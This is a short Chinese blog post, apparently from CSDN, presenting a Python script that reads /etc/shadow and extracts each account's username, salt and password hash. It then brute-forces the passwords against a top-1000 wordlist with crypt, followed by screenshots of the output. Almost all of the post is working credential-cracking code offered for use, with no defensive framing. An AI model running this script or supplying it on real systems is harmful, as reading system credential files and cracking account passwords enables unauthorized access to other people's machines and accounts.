python脚本-读取shadow关键信息并爆破密码
代码
import crypt
from colorama import Fore,Style
def crack():
with open('/root/top1000.txt') as f:
for passwd in f:
passwd2=crypt.crypt(passwd.strip(),salt)
if passwd2 == passwd_hash:
print(Fore.GREEN+f"correct pass:{passwd}"+Style.RESET_ALL)
return passwd
with open('/etc/shadow') as file:
for pass1 in file:
list1=pass1.split(":")
if list1[1]!="*" and list1[1]!="!" and list1[1]!="!*":
username=list1[0]
passwd_hash=list1[1]
salt=list1[1][list1[1].find("$"):list1[1].rfind("$")+1]
print(Fore.YELLOW+f"username:{username}"+Style.RESET_ALL)
print(Fore.BLUE+f"salt:{salt}"+Style.RESET_ALL)
print(Fore.BLUE+f"passwd_hash{passwd_hash}"+Style.RESET_ALL)
crack()
效果
无爆破过程
![image-20231101214734338](https://i-blog.csdnimg.cn/blog_migrate/0c6617dc0348ff9ef8ae89e370fb23b8.png)
有爆破过程
![image-20231101215152744](https://i-blog.csdnimg.cn/blog_migrate/13776d7994c27006825a58c3b7eef375.png)